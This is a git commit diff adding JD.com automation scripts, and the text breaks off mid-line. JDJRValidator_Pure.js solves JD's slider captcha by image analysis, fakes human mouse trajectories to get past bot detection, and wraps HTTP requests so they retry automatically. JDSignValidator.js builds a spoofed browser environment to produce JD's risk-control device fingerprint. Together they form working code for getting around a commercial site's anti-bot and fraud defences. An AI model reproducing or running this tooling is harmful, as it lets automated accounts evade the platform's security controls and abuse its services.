commit 3a2bbae8b019f5e7b4673e429d9d3b7405227884 Author: YYDS <> Date: Thu Sep 1 20:35:24 2022 +0800 1 diff --git a/CK_WxPusherUid.json b/CK_WxPusherUid.json new file mode 100644 index 0000000..d0979d4 --- /dev/null +++ b/CK_WxPusherUid.json @@ -0,0 +1,14 @@ +[ + { + "pt_pin": "ptpin1", + "Uid": "UID_AAAAAAAAAAAA" + }, + { + "pt_pin": "ptpin2", + "Uid": "UID_BBBBBBBBBB" + }, + { + "pt_pin": "ptpin3", + "Uid": "UID_CCCCCCCCC" + } +] \ No newline at end of file diff --git a/JDJRValidator_Pure.js b/JDJRValidator_Pure.js new file mode 100644 index 0000000..a930969 --- /dev/null +++ b/JDJRValidator_Pure.js @@ -0,0 +1,532 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = require('./USER_AGENTS.js').USER_AGENT; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; diff --git a/JDSignValidator.js b/JDSignValidator.js new file mode 100644 index 0000000..f2679d3 --- /dev/null +++ b/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('./USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control 